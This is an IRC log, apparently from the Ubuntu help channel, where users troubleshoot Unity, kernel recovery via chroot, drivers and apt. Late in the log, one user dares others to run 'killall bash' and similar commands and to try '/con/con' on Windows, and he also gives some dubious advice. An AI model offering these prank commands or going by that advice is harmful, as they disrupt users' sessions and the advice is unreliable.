[04:29] <celthunder> DrMax: uhm boot to usb/cd ...go to a terminal instead of using the setup then type mkdir /tmp/a /tmp/b then do mount /dev/<yourhddwith/boot> /tmp/a  then mount /dev/<yourhddpartitionwith /> /tmp/b
[04:29]  * Bsims grrs and hates the Unity changes to gtk, how do I disable the now you see it now you don't slider bars
[04:29] <celthunder> DrMax: then chroot /tmp/b
[04:30] <celthunder> er shit sorry drmax change /tmp/a to /tmp/b/a
[04:30] <celthunder> in all above references
[04:30] <dreamsforgotten> celthunder on my other version 10.04 I get this  E:Error, pkgProblemResolver::Resolve generated breaks, this may be caused by held packages.
[04:30] <DrMax> ok, I only need one
[04:30] <celthunder> then chroot to it
[04:30] <hidn_shadows> Hey guys, Brasero keeps telling me that I need a nonexistent package, two actually. DVDauthor and MPlex, but I can't find them anywhere
[04:30] <Spaz_Dynamic> where is the #ubuntu log kept?
[04:30] <Bsims> something chaged pan and other gtk2 apps you have to hold your mouse and hover to make the slider appear now how do I fix it to the way it was
[04:30] <celthunder> dreamsforgotten: ok did you check for held packages ? someone i weas helping the other day i remember the solution for if not
[04:31] <dreamsforgotten> celthunder how do I
[04:31] <celthunder> DrMax: from the chroot finish ompiling your kernel
[04:31] <DrMax> ok, I have / (and /boot) as /tmp/a
[04:31] <celthunder> DrMax: chroot /tmp/a
[04:32] <celthunder> dreamsforgotten: ?
[04:32] <DrMax> ok, done
[04:32] <celthunder> DrMax: now either reinstlal the kernal package or go to kernel.org in links/lynx /using wget and dl a kernel source and start compiling
[04:32] <Bsims> how do I disable the now you see it now you don't slider bars...
[04:33] <trism> Bsims: sudo apt-get remove liboverlay-scrollbar-0.1-0; will disable the overlay scrollbars
[04:33] <celthunder> DrMax: to reinstall the package dpkg -i /var/apt-cache/whateveryour kernelpackage is
[04:33] <celthunder> dreamsforgotten: no held packages?
[04:33] <DrMax> ok, thanks
[04:33] <eiriksvin>  there, now its all smooth but my graphics drivers are saying: This driver is activated but not currently in use.< it was fine before i updated, i could run it perfectly in the highest setting
[04:33] <dreamsforgotten> celthunder check for held packages.  escuse me been drinking a lil tonight confused right now :)
[04:33] <DrMax> let met try this
[04:33] <marca311> bsims: try this solution i found on google: http://ubuntu4beginners.blogspot.com/2011/04/disable-overlay-scrollbars-in-ubuntu.html
[04:33] <DrMax> (first must finish the update/upgrade)
[04:33] <redgone> join #backtrack-linux
[04:33] <redgone> join #backtrack
[04:33] <trism> Bsims: and sudo apt-get install overlay-scrollbar; will bring them back
[04:34] <redgone> oops
[04:34] <redgone> very sorry
[04:34] <celthunder> redgone: backtrack is cool...kind of shitty for a daily distro though
[04:34] <celthunder> good for what it's made for though
[04:34] <DrMax> celthunder : that would avoid me restoring backups ...
[04:34] <shigutso> how can I configure Unity's sidebar to always wiggle/pulse icons until I click it? didn't find this option in Compiz Manager :(
[04:34] <DrMax> (I do have backups :p)
[04:34] <Froq_> where can i get the needed driver for the magic touchpad that apple sells?
[04:34] <celthunder> DrMax: ?
[04:34] <multipass_> is there any way to properly re enable "edge flipping by cursor and window dragging" in 11.04?
[04:35] <DrMax> celthunder : if I can't restore the kernel, the other option is a clean reinstall
[04:35] <DrMax> which I don't want to do
[04:35] <Ziber> Rather than installing more system monitor tools, does anyone have a fix for it overheting?
[04:35] <marca311> shigutso: What are you talking about?
[04:36] <eiriksvin>  there, now its all smooth but my graphics drivers are saying: This driver is activated but not currently in use.< it was fine before i updated, i could run it perfectly in the highest setting can someone help me?
[04:36] <dreamsforgotten> celthunder forgive me for this long post:   Err http://medibuntu.sos-sts.com fiesty/non-free Sources                          Sub-process /bin/bzip2 returned an error code (2) Fetched 2,376B in 7s (323B/s)                                                   W: GPG error: http://medibuntu.sos-sts.com fiesty Release: The following signatures were invalid: NODATA 1 NODATA 2 W: Failed to fetch http://medibuntu.sos-sts.com/repo/dis
[04:37] <shigutso> marca311, when a window receives the Urgent state, Unity's sidebar makes the icon pulse or wiggle. But it does only once. I'd like to keep animating until I click it, because it's hard to notice the tiny blue arrow to know new stuff is going on, like IM messaging, etc
[04:37] <eiriksvin> im in classic mode because the other one is a little sluggish
[04:37] <crlcan81> eiriksvin a lot of us are having that issue too.
[04:37] <dreamsforgotten> celthunder is that it?
[04:37] <eiriksvin> nVIDIA not doing good?
[04:37] <crlcan81> I'm in unity right now, just because I've gotten used to the setup.
[04:38] <crlcan81> I have a GTS 250 too so it's not a ram issue.
[04:38] <napster00> i was upgrading to 11.04
[04:38] <hidn_shadows> Brasero is giving me trouble, it's requesting 2 packages that I can't find. Can anyone actually help me? Or should I come back another time? It seems everyone's watching the news
[04:38] <crlcan81> if you haven't really gotten a chance to look at the unity setup, you may want to before you do.
[04:38] <napster00> but in betwwen i run a command apt-get clean
[04:38] <marca311> shigutso: ah, hmm, i don't know, have you tried the almighty google?
[04:39] <celthunder> crlcan81: gts 250's shouldn't lag just loading the ui...
[04:39] <dreamsforgotten> celthunder or this The following packages have been kept back:   linux-generic linux-headers-generic linux-image-generic
[04:39] <shigutso> marca311, yes, but no success :(
[04:39] <drAg> Hello
[04:39] <napster00> how to fix
[04:39] <crlcan81> ahh, loading the interface no, but moving windows around.. compiz is laggy.
[04:39] <CoinOp> I updated from Update Manager and I'm getting a Stopping automatic crash report generation fail.
[04:39] <drAg> No
[04:39] <drAg> Compiz isn't laggy
[04:39] <hroi> hello
[04:39] <celthunder> dreamsforgotten: idk i didn't read the first link
[04:39] <cb-linux> Hello
[04:39] <crlcan81> Well moving my windows around is.
[04:39] <drAg> Compiz isn't laggy
[04:39] <linuxuz3r> hey
[04:40] <drAg> Wobbly Windows goes fast
[04:40] <cb-linux> having trouble with gnome3
[04:40] <drAg> Me too
[04:40] <linuxuz3r> whats a good way to remove packages and unused dependencies
[04:40] <crlcan81> I don't use wobbly windows.
[04:40] <dreamsforgotten> hidn_shadows be patient wait a sec then re-post the ?  They are ppl in here getting around, you should get help
[04:40] <hroi> anybody know how I can get the good old normal gnome desktop,
[04:40] <marca311> shigutso: k, maybe try someone with some more compiz experience, because i don't know much about it
[04:40] <drAg> I do
[04:40] <hroi> I have this funny notebook one
[04:40] <drAg> Every second, someone joins
[04:40] <n-iCe> Ok, this is really annoying, how the heck do I go to my desktop without minimize windows
[04:40] <dreamsforgotten> celthunder i did sudo apt-get upgrade and it's actually running
[04:40] <napster00> how to undo the previous command
[04:40] <dreamsforgotten> celthunder seems just the gui was erroring
[04:40] <cb-linux> when strating your session choose from a lista on the botom af the screen Ubuntu Clasic instead of just Ubuntu
[04:41] <hidn_shadows> dreamsforgotten, alright. I'm just kinda stressed, I need brasero because I have a deadline to burn these dvds... but thanks.
[04:41] <drAg> Im glad I turned that off
[04:41] <eiriksvin> i guess ill just go play Regnum:(
[04:41] <marca311> n-iCe: i don't see how anything else would be possible
[04:41] <drAg> Whats Regnum????
[04:41] <n-iCe> marca311: I found how
[04:41] <eiriksvin> i wanna play RoM so bad
[04:41] <marca311> n-iCe: k
[04:41] <linuxuz3r> whats a good way to remove packages and unused dependencies
[04:41] <shigutso> marca311, ok thanks :)
[04:42] <crlcan81> it's snapping windows that's lagging it.
[04:42] <dreamsforgotten> hidn_shadows I only say that because I had to ask a few times.  Glad I stayed I got the help I needed!
[04:42] <cdg> Wow I'm impressed, I think unity blows away gnome shell.
[04:42] <crlcan81> I just disabled snapping and enabled wobbly, it's running a lot smoother.
[04:42] <marca311> linuxuz3r: sudo apt-get autoclean
[04:42] <drAg> No
[04:42] <drAg> Its sudo apt-get clean
[04:42] <marca311> really?
[04:42] <cb-linux> question, I did some updates and now my gnome shell tryes to open files and directories with Archive manager
[04:42] <cb-linux> how can I fix
[04:43] <drAg> i know how
[04:43] <hroi> cb-linux:   I dont have any lista desktop choice on my login screen
[04:43] <napster00> can anybody help me
[04:43] <hidn_shadows> Hey guys, Brasero package question on 10.04. I try to burn a video DVD, and it says I need packages "MPlex" and "DVDauthor". Where can I find said packages, or alternatives? Or where can I find a video burning program that works with DVD+RWs?
[04:43] <drAg> just message me privately
[04:43] <_genuser_> oh well.
[04:43] <cb-linux> hroi: when you select the user one will appear below
[04:44] <drAg> MPlex and DVDauthor source: deb http://archives.ubuntu.com/ubuntu natty universe
[04:44] <hidn_shadows> drAg I use lucid, not natty...
[04:45] <hroi> cb-linux:  you just saved my life, and earned me an hour sleep, thanks!
[04:45] <marca311> i need to remap a hotkey that is currently assigned to touchpad disable, however i do not have a touchpad and this is really annoying when using the screen rotate button
[04:45] <cb-linux> no problem
[04:45] <cloud9> my googleearth now working.....
[04:45] <cloud9> tnx
[04:46] <drAg> ok
[04:46] <CoinOp> Is there an ubuntu help channel?
[04:46] <drAg> For Lucid, the source is: deb http://archives.ubuntu.com/ubuntu lucid universe
[04:46] <drAg> AKA: 10.04 LTS
[04:46] <drAg> im using 10.10
[04:47] <marca311> coinop: this is the ubuntu irc help channel
[04:47] <hroi> cb-linux:   ahh but unfortunately this did not fix my problem with starting ooffice applications ...
[04:47] <Froq_> so what is a good launcher for 11.04?  I want to hit a combo key and bring up a launcher.
[04:47] <drAg> Compiz
[04:47] <CoinOp> marca311: Ah, I thought it was just a general channel. Thanks.
[04:47] <crlcan81> awesome..
[04:47] <napster00> marca311: is there any way to undo apt-get clean command :P
[04:47] <drAg> No
[04:47] <drAg> Sorry mate
[04:47] <crlcan81> it works.
[04:47] <Cairo> woot
[04:48] <Cairo> i can run desktop using vesa
[04:48] <Froq_> drAg, you saying compiz is a good launcher?
[04:48] <drAg> yes
[04:48] <drAg> theres a feauture called keyboard shortcuts
[04:48] <Cairo> lol
[04:48] <hroi> all my soffice applications hang on oosplash.bin  ... and nothing happens
[04:48] <Froq_> drAg, how do I install it?  is it just sudo apt-get install compiz?
[04:48] <drAg> example I set it up
[04:48] <drAg> yes
[04:48] <ferris-> how do I get to "System-->Administration-->Networking" in Natty?
[04:48] <CoinOp> I updated from Update Manager and now I'm stuck on a diagnostics screen after booting from grub. Whats my next step?
[04:48] <marca311> napster00: yes, look at the terminal you just used, and reinstall the things that dissappeared by mistake
[04:48]  * crlcan81 wonders if anyone here using unity has tried using desktop cube?
[04:48] <drAg> Easy
[04:49] <marca311> napster00: or look at a log
[04:49] <napster00> marca311: where i can find the logs
[04:49] <tamara__> kolke webcam drivers for ubuntu?
[04:49] <FatsDT> Is there somewhere on the net that explains the differences between the different kernel image packages in the repos?
[04:49] <ferris-> I do not have the old gnome desktop... it is the new one with the icons on the side but there are no system or administration icons
[04:49] <_joey> I want to increase time before gnome sessiion is locked. How do I change it?
[04:50] <_joey> locked by password
[04:50] <drAg> Who needs help here?
[04:50] <ferris-> me
[04:50] <cb-linux> me
[04:50] <crlcan81> I'm curious as to unity working with desktop cube.
[04:50] <drAg> Ok whats your problems????
[04:50] <CoinOp> Here also.
[04:50] <Ziber> Alright, so I fixed the fan problem, now my sound (I'm listening to music) is scratchy every few mins...
[04:50] <drAg> OK, what are you're problems????
[04:50] <drAg> Just pm me
[04:50] <cb-linux> got gnome 3 and i cant open my directories
[04:50] <ferris-> as with navigating the new system and also getting my wifi card to work(which is the real prob)
[04:50] <CoachJ> for those of you buried in ubuntu and not watching the news osama bin laden has been killed by USA troops--justice is done
[04:50] <marca311> napster00: hmm, i seem to have made a mistake, there is no log for terminal unless you count the command history
[04:51] <CoinOp>  I updated from Update Manager and now I'm stuck on a diagnostics screen after booting from grub. It says automatic crash report generation FAIL.
[04:51] <OY1R> trying to scan an image but as soon as i click scan i get "job done" and nothing happens. (11,04)
[04:52] <napster00> marca311: i have almost done 90% upgraded , i don't want to reinstall 400 mb again with ma 5kbps speed:P
[04:52] <napster00> marca311: please help , if there is any way to get all back
[04:52] <marca311> napster00: however, if you go to /var/log/apt, you can find the history of all apt commands
[04:53] <kingofswords> my download speed kepts dying after a few minutes?
[04:53] <marca311> napster00: sorry, no, unless you spend several hours attempting data recovery
[04:54] <marca311> Hello, I need to remap a hotkey that is currently assigned to touchpadtoggle, however I do not have a touchpad and this is really annoying when using the screen rotate button, thanks in advance
[04:55] <jw_> bin laden is dead. :)
[04:55] <marca311> jw_: ?
[04:56] <ayecee> jw_: #ubuntu-offtopic
[04:56] <drAg> Who needs more help???
[04:56] <kingofswords> how?
[04:56] <drAg> I'll be here until 11:00 PM so be quick
[04:56] <crlcan81> I do drAg
[04:56] <drAg> ok
[04:56] <crlcan81> IF you have used unity and desktop cube
[04:56] <drAg> Yes
[04:57] <drAg> I have used Unity and Desktop Cube
[04:57] <drAg> and Desktop Wall
[04:57] <crlcan81> so it's possible to disable desktop wall and still use unity fine?
[04:57] <multipass_> is there any way to get edge flipping working in 11.04??
[04:57] <jw_> wish there was more options to customize unity, any plans to release an update?
[04:58] <CoinOp> drAg: I updated from Update Manager and now I'm stuck on a diagnostics screen after booting from grub. It says automatic crash report generation FAIL.
[04:58] <tamara__> drivers for kolke webcam?
[04:58] <celthunder> CoinOp: what else does it say
[04:58] <jw_> Also how do you get the additional plugins to work, ie Burn and Explode?
[04:59] <itsTOREN> anyone have luck with xcompmgr and fluxbox?
[04:59] <drAg> yes
[04:59] <drAg> well not much
[04:59] <cb-linux> txs to drAg for helping me
[04:59] <aauthor> jw_: Are you talking about window effects?
[04:59] <jw_> yes
[04:59] <drAg> no problem mate
[05:00] <cb-linux> one more thing not much of a problem justa  doubt
[05:00] <drAg> You have compiz???
[05:00] <aauthor> jw_: Are you using the ccsm?
[05:00] <itsTOREN> im trying to get a dock that requires transparency
[05:00] <CoinOp> celthunder: Well its says everythingthing else is okay. Just that one fail, and then nothing progresses.
[05:00] <cb-linux> anybody knows if i can have compiz work in gnomoe shell
[05:00] <jw_> drag: yes Aauthor yes
[05:00] <Souperman> you have to activate compsition itsmegb
[05:00] <itsTOREN> no im running fluxbox
[05:00] <Souperman> you have to activate compsition itsTOREN
[05:00] <aauthor> jw_: Do you not see the options or are you having trouble getting them to work?
[05:01] <crlcan81> What all besides enabling unity after compiz disables it, logging back out and back in do I have to do to get desktop cube working normally drAg
[05:01] <DrMax> celthunder : did not work :/
[05:01] <itsTOREN> ill run xcompmgr and then my dock but no transparency, just a black bar
[05:01] <crlcan81> It won't let me use the controls it used to.
[05:01] <jw_> I had to download the additional effects plug in, I see the options, but they're not working. When I enable them the file menu bar disappears
[05:01] <celthunder> DrMax: what didn't?
[05:02] <crlcan81> itsTOREN: you using unity 2d, ubuntu, or ubuntu classic?
[05:02] <karthick87> Any guide to setup apt-get cacher server ?
[05:02] <DrMax> just chrooting and reconfiguring the kernel
[05:02] <celthunder> DrMax: did you make your initramfs?
[05:02] <DrMax> it failed because it could not mount /proc/
[05:02] <itsTOREN> ubuntu
[05:02] <DrMax> hmm no
[05:02] <celthunder> DrMax: ok
[05:02] <crlcan81> weird.. you should be able to get a 3d effect then. That's using unity
[05:02] <DrMax> but the problem is that it did not build the modules (or something)
[05:02] <crlcan81> is the third party driver enabled for your graphics card?
[05:02] <celthunder> and in /etc/fstab your line for proc is waht
[05:02] <itsTOREN> yes
[05:02] <celthunder> DrMax: mkinitcpio
[05:02] <crlcan81> ..ok really weird.
[05:03] <celthunder> DrMax: ? that?
[05:03] <DrMax> let met see, it's rebooting
[05:04] <tamara__> anyone have any idea about kolke webcams drivers?
[05:04] <celthunder> tamara__: what's the issue with them?
[05:04] <aauthor> jw_: Which window effects in particular are you trying to use?
[05:05] <DrMax> nothing for /proc in fstab
[05:05] <drAg> Sorry
[05:05] <drAg> But Im helping 4 people
[05:05] <furous> anyone know why unity would work from a live  cd but not when the system is upgraded on the hdd?
[05:05] <drAg> right now
[05:06] <crlcan81> I'll just deal with wall..
[05:06] <drAg> Im helping 4 people please wait until I tell you when 1 person was helped
[05:06] <celthunder> DrMax: mount proc /prpc
[05:07] <celthunder> er
[05:07] <drAg> Ok
[05:07] <adymitruk> Stuck on sh:grub> after upgrade to 11.4
[05:07] <drAg> Now I helped the 4 people
[05:07] <celthunder> DrMax: mount proc /proc sorr
[05:07] <adymitruk> Can any one help?
[05:07] <drAg> I can
[05:07] <DrMax> must specify type
[05:07] <celthunder> drAg: i need help
[05:07] <celthunder> DrMax: -t procfs
[05:07] <taglass> It's much better if you help people in channel instead of through PM because a: People can verify if you're BSing and b: other people might have the same questions.
[05:07] <celthunder> drAg: i need help
[05:08] <drAg> Yes
[05:08] <adymitruk> drAg: what do I do?
[05:08] <DrMax> type is wrong or procfs not supported
[05:08] <celthunder> drAg: do you provide psychological help for the demented
[05:08] <pepsi_> mp3
[05:08] <celthunder> DrMax: you compiled your kernel wrong then
[05:09] <celthunder> DrMax: put yes for procfs support
[05:09] <drAg> FOR ALL PEOPLE WITH BOOT PROBLEMS LISTEN TO ME
[05:09] <aauthor> furous: What kind of graphics card do you have?
[05:09] <sheldon> anyone know what is up with Dual monitors on Nvidia drivers, on  11.04? My dual monitors have not worked correctly since the upgrade
[05:09] <drAg> If you want grub to be fixed, you need to re-install
[05:09] <furous> The graphics on the motherboard is Intel GMA X4500
[05:09] <tamara__> celthunder it cant work
[05:09] <drAg> If you dual-booted with another OS
[05:09] <Souperman> sheldon, all the people is having problems whit nvidia drivers, check the forums
[05:10] <drAg> just use the other OS to make to resuce CD
[05:10] <tamara__> cant find drivers in internet
[05:10] <drAg> I can help
[05:10] <paideia> hi I'm trying to use the Tor network with firefox (torbutton plugin) and when I switch it on and I attempt to connect to any website I get "the proxy is refusing connections" error. Then when I check Firefox's Connection Settings I see that it changed to manual proxy configuration 127.0.0.1 8118. What am I doing wrong? I have tor and polipo daemons running and I have saved the polipo rc file into my home folder.
[05:10] <aauthor> furous: Did you get an error telling you that Unity cannot work during this session?
[05:10] <celthunder> drAg: you don't necessarily need a rescue cd to fix boot issues
[05:10] <sheldon> I spent some time on forums earlier today, but wasn't able to find any posts about this problem
[05:10] <celthunder> DrMax: how did you reinstall the kernel
[05:11] <DrMax> celthunder : I booted from live CD. mkdir /tmp/a, mounted dev/sda onto it
[05:11] <sheldon> anyone have a link to something official?
[05:11] <crlcan81> When you're available drAg, do you have any experience with g110 usb keyboards and pnp audio using headphones on 11.04? It did it on 10.04 through to this too.
[05:11] <DrMax> dpkg-reconfigure linux-image-generic
[05:11] <furous> unity worked perfectly from the live cd, no errors...
[05:11] <drAg> Yes
[05:11] <drAg> IM AVAILDABLE
[05:11] <celthunder> DrMax: mount /proc and /dev in your chroot then redo the kernel
[05:11] <drAg> 4 SLOTS FREE
[05:11] <drAg> 0 ACTIVE
[05:11] <celthunder> DrMax: sorry i probably should have said that
[05:11] <DrMax> hmm ok?
[05:11] <Jordan_U> drAg: Please stop.
[05:11] <tamara__> cellthunder
[05:11] <DrMax> how?
[05:11] <crlcan81> Have you ever had the sound preferences crash when logging out back in when using headphones on a usb keyboard's headphone jack?
[05:12] <furous> The system on the hdd did not come from the live cd though, it was an upgrade...
[05:12] <drAg> IM FULLY AVAILDABLE which means that I can help 4 people
[05:12] <celthunder> drAg: help me..stop spamming the freaking channel
[05:12] <sheldon> multitasking
[05:12] <crlcan81> Every time I log out and log back in for something the pnp audio doesn't work, drAg, sorry to keep pestering.
[05:12] <aauthor> furous: Did you get an error message when you tried to log in?
[05:12] <Atomicspin> Does anyone know of an issue where the backlight on a laptop screen won't come on?
[05:12] <drAg> Yes
[05:13] <Atomicspin> Is there a fix?
[05:13] <drAg> Just go to Monitor Preferences
[05:13] <celthunder> Ato/b 22
[05:13] <drAg> an select use backlight
[05:13] <paideia> hi I'm trying to use the Tor network with firefox (torbutton plugin) and when I switch it on and I attempt to connect to any website I get "the proxy is refusing connections" error. Then when I check Firefox's Connection Settings I see that it changed to manual proxy configuration 127.0.0.1 8118. What am I doing wrong? I have tor and polipo daemons running and I have saved the polipo rc file into my home folder.
[05:13] <itsTOREN> anyone running fluxbox with a dock like awn or cairo-dock
[05:13] <drAg> no
[05:13] <furous> When logging in to the hdd system, it said the system couldn't display unity.  But why would i display via the live cd?
[05:13] <multipass_> is there some kind of compizconfig for 11.04?
[05:13] <drAg> yes
[05:13] <drAg> Advanced Compiz Settings Manager
[05:13] <Nisstyre> Osama Bin Laden was an ardent user of gnome3 according to Al Jazeera
[05:14] <multipass_> ccsm?
[05:14] <aauthor> furous: Have you checked to see if you have any propriety driver available?
[05:14] <drAg> Yes
[05:14] <Atomicspin> drAg:  I don't see that option in there.
[05:14] <multipass_> isnt there a built in one?
[05:14] <Sharpshooter761> hello world
[05:14] <Sharpshooter761> :D
[05:14]  * crlcan81 has cairo on unity Toren
[05:14] <celthunder> Sharpshooter761: hello
[05:14] <aauthor> Hello Sharp:
[05:14] <DrMax> celthunder : how do I mount / without mounting /proc/ as well?
[05:14] <LULLING_HARD> Nisstyre: yeah and I heard he didnt like Unity, it got in his way..
[05:14] <celthunder> DrMax: you need to mount /proc...
[05:14] <furous> no extra hard ware drivers listed for this hardware...
[05:14] <celthunder> not unmount it
[05:14] <Atomicspin> drAg:  There's nothing referring to it.
[05:15] <DrMax> when I chroot /tmp/a
[05:15] <DrMax> /proc stops working
[05:15] <taglass> Atomicspin: Check under Power Management
[05:15] <itsTOREN> unity is stupid
[05:16] <crlcan81> what's fluxbox like?
[05:16] <_genuser_> when doing an upgrade, can't you upgrade to the latest?
[05:16] <celthunder> DrMax: mount it before joining the chroot hang on
[05:16] <itsTOREN> simple and minimalistic easy to config
[05:16] <_genuser_> I just did an upgrade and it says there's another. which would suck 'coz that's two of them in a row.
[05:17] <multipass_> what is the feature that makes a winodw maximize when u drag it to the top of screen?
[05:17] <celthunder> DrMax: http://ubuntuforums.org/archive/index.php/t-1156240.html read that
[05:17] <DrMax> celthunder : thx
[05:17] <DrMax> let's see
[05:17] <Atomicspin> msg drAg Still don't see it in Power Management.  On Natty btw.
[05:17] <Atomicspin> That's what I get for using BitchX
[05:18] <celthunder> lol
[05:18] <aauthor> furous: Hmm... I'm sorry, I don't think I have an answer for you.  (Though that certainly doesn't mean that one doesn't exsist.)
[05:18] <taglass> Atomicspin: Some people are reporting success in this thread by booting with nomodeset option.  http://ubuntuforums.org/showthread.php?t=1730314
[05:18] <kaushal> Hi
[05:19] <kaushal> whats the other name if its not a classic mode ?
[05:19] <kaushal> in 11.04
[05:19] <cb-linux> how can i set the number of workspaces in gnome 3
[05:19] <DrMax> celthunder : getting somewhere :p
[05:19] <celthunder> DrMax: sorry...i shoulda specified you'd need those the first time
[05:20] <taglass> cb-linux: Gnome 3 autocreates workspaces as you need them.  I'm not sure that you can set a specific amount.
[05:20] <DrMax> well, maybe you forgot
[05:20] <furous> all indcations suggest that it should work and the live cd demonstrates that, perhaps I should do a reinstall instead of the upgrade, perhaps something went wrong during the upgrade
[05:20] <DrMax> I just didn't know how to do this :p
[05:20] <_genuser_> hello people.
[05:20] <celthunder> DrMax: more like i just didn't think about mentioningi t
[05:20] <DrMax> ok, so grub seem to have found my previously installed kernel
[05:20] <cb-linux> taglass i ment in order to have the compix cube working
[05:20] <_genuser_> can you not upgrade to the latest one shot?
[05:20] <Atomicspin> taglass:  Can you send the link one more time?  lost it.
[05:20] <_genuser_> after upgrading once, it now says there's a newer version.
[05:20] <_genuser_> that's like two upgrades.
[05:20] <aauthor> furous: I did encounter problems during the upgrade, and ended up doing a clean install which worked out fine for me.
[05:20] <DrMax> I should be able to boot from an older kernel
[05:21] <aauthor> furous: I looked it up, and your graphics card is supported.
[05:21] <crlcan81> what did you upgrade from/to the first time?
[05:21] <celthunder> furous: what's your issue sorry wasn't paing attention
[05:21] <celthunder> _genuser_: what version did you start out on when upgrading
[05:21] <aauthor> celthunder: furous is getting and error when he logs in that Unity can't start in this session.
[05:22] <_genuser_> 10.04 netbuntu edition. it might be a regular install with special gnome reconfigured.
[05:22] <celthunder> aauthor: is there a conflicting entry in .xinitrc or in xsessions
[05:22] <aauthor> celthunder: But it worked fine for him in the liveCD
[05:22] <_genuser_> to 10.10. and now it find 11.xx.
[05:22] <furous> celthunder:unity worked via a lie cd but when the system was upgraded unity no longer worked...
[05:22] <celthunder> aauthor: furous conflicting entry in xsessions/xinitrc/etc
[05:22] <hroi> how do I find out if my ubuntu has Java JRE ?
[05:23] <taglass> hroi: which java
[05:23] <celthunder> furous: aauthor also login manager being used?
[05:23] <furous> How do I fix a conflictin entry?
[05:23] <DrMax> celthunder : THANKS A LOT
[05:23] <LLStarks> america! **** yeah!
[05:23] <celthunder> DrMax: sarcastic or happy?
[05:23] <DrMax> happy
[05:23] <celthunder> lol ok
[05:23] <taglass> hroi: should say /usr/bin/java if you do
[05:24] <LLStarks> kill -9 osama
[05:24] <DrMax> well, lost minor settings, but, meh, whatever :p
[05:24] <kyubutsu> hroi: type about:plugins in the browser
[05:24] <furous> have auto login for the main user... but  when switching user, same problem...
[05:24] <hroi> taglass:   java jre for the open office
[05:24] <celthunder> furous: ok login manager used?
[05:24] <drAg> I dare everyone to run this in Terminal: killall Compiz
[05:24] <mdel> drAg: really dude
[05:24] <drAg> and killall Metacity
[05:24] <mdel> really
[05:24] <cb-linux> i guess the compiz cube does not work in gnome shell
[05:24] <drAg> yes
[05:24] <mdel> what a fucking nboob
[05:24] <celthunder> drAg: why? i don't even use compiz and it sucks but if people want to use it let them
[05:24] <mdel> yes thats right. nboob
[05:25] <drAg> then do killall bash
[05:25] <crlcan81> you're a masochist.
[05:25] <hroi> taglass: ok I have java 1.6
[05:25] <celthunder> mdel: he's being a douche anyway, pming people etc...
[05:25] <Rehan> if I have Xorg.0.log, Xorg.0.log,old, Xorg.1.log, and Xorg.1.log.old , which one is the latest one?
[05:25] <IdleOne> !language | mdel
[05:25] <ubottu> mdel: Please watch your language and topic to help keep this channel family-friendly, polite, and professional.
[05:25] <celthunder> anyway
[05:25] <DrMax> celthunder : I did say thanks a lot, not "thanks a lot, <expletive>" :p
[05:25] <drAg> Who uses openOffice.org here?
[05:25] <taglass> cb-linux: Compiz cube requires compiz which is mutually exclusive with gnome shell.
[05:25] <crlcan81> I used to.
[05:25] <drAg> openOffice.org sucks
[05:25] <furous> how do I know if I use login manager?!
[05:26] <kaushal> whats the other name if its not a classic mode in 11.04 ?
[05:26] <crlcan81> hey I use whatever ubuntu has installed.
[05:26] <drAg> In 11.04 theres five options
[05:26] <aauthor> furous: Have you done anything to change how you log in since you installed ubuntu?
[05:26] <drAg> which are:
[05:26] <drAg> Ubuntu
[05:26] <crlcan81> kaushal: how so? on login it's either Ubuntu, or Ubuntu classic
[05:26] <drAg> Ubuntu Classica
[05:26] <DrMax> celthunder : I upgraded a couple of machines, but that was the first one that crashed during the building of the kernel
[05:26] <drAg> Ubuntu No Effects
[05:26] <DrMax> but now it works much better
[05:26] <cb-linux> txs taglass
[05:26] <drAg> Ubuntu Safe Mode
[05:26] <drAg> and Ubuntu Desktop
[05:26] <crlcan81> recovery console :P
[05:26] <taglass> !spam | drag
[05:26] <drAg> I was helping
[05:26] <celthunder> aauthor: furous uhm can you boot to init 3 and type startx please
[05:27] <_genuser_> man internet going nuts.
[05:27] <celthunder> aauthor: furous you can just telinit 3 otherwise and do it from there
[05:27] <_genuser_> rather connectivity
[05:27] <drAg> Who needs help???
[05:27] <furous> I was using 10.04, auto login for main user, upgraded to 10.10 today and then onto 11.04 with no change to the auto logi
[05:27] <aauthor> !spam | drAg
[05:27] <celthunder> furous: aauthor try the above
[05:27] <celthunder> aauthor: can we get someone to kick him?
[05:28] <furous> Sorry, i dont quite understand what boot to init 3 means?
[05:28] <marca311> Hello, I am having trouble regarding hotkeys in the way that my screen rotate key is primarily mapped to touchpadtoggle, this is rather annoying when rotating the screen, thanks in advance
[05:28] <drAg> I do
[05:28] <celthunder> furous: ctrl alt f1 login type telinit 3
[05:28] <celthunder> furous: then type startx
[05:28] <celthunder> what's the result
[05:28] <drAg> For the Windows LOSERS, I don't be scared to run /con/con
[05:28] <furous> startxmorgan
[05:29] <Sharpshooter761> oh, i realized a neat trick in unix, the middle mousebutton can act as a cop-paste key for text, but is not in ubuntu 11.04
[05:29] <rocksenkreuz> hi
[05:29] <celthunder> !kick drAg
[05:29] <Sharpshooter761> copy-paste*
[05:29] <crlcan81> drAg stop, you're being a unbelievable dooouuuuu$$^
[05:29] <celthunder> Rockj: hi
[05:29] <taglass> Sharpshooter761: Sure you can.  I middle paste all of the time.
[05:29] <drAg> Okay.
[05:30] <DrMax> celthunder : srly, that made my day
[05:30] <DrMax> thx again
[05:30] <furous> i have done this
[05:30] <Sharpshooter761> hmm, now all of a sudden it works fine. :/
[05:30] <celthunder> DrMax: np
[05:30] <taglass> Sharpshooter761: The problem you might be having is that their are actually 2 clipboards under X
[05:30] <Sharpshooter761> really?
[05:30] <celthunder> Sharpshooter761: that's because you complained about it :)
[05:30] <celthunder> Sharpshooter761: so it had to work
[05:30] <celthunder> furous: and result?
[05:30] <furous> .xauthority does not exist
[05:31] <Dice-Man> hi there
[05:31] <Sharpshooter761> no no no, tell me more, what are these two clipboards, and what are the differences, tell me everything
[05:31] <celthunder> furous: so make one
[05:31] <taglass> Sharpshooter761: One that stores stuff that you use ctrl c ctrl v on and one that holds the last highlighted text.
[05:31] <Dice-Man> i'm on ubuntu lucid lynx i want to compile the last rhythmbox version
[05:31] <celthunder> Sharpshooter761: you can make as many clipboards as you want..theres 2 by default though
[05:31] <furous> so just create the folder?
[05:31] <celthunder> Dice-Man: install build-essential and go to rythmbox's site get the source extract and compile or use git/svn
[05:32] <Rehan> why does my X keep crashing like a mofo?
[05:32] <furous> how do I get out of init 3?!
[05:32] <celthunder> furous: it's a file so touch .xauthority
[05:32] <celthunder> furous: telinit 5
[05:32] <taglass> furous: telinit 5
[05:32] <_genuser_> man internet connection is going nuts
[05:32] <celthunder> furous: note telinit 5 won't work if startx didn't
[05:32] <celthunder> or it shouldn't
[05:32] <mr_fringe> bye
[05:32] <Sharpshooter761> thanks a tonne, celthunder, you are a very nice stranger.  and no, i will not accept candy
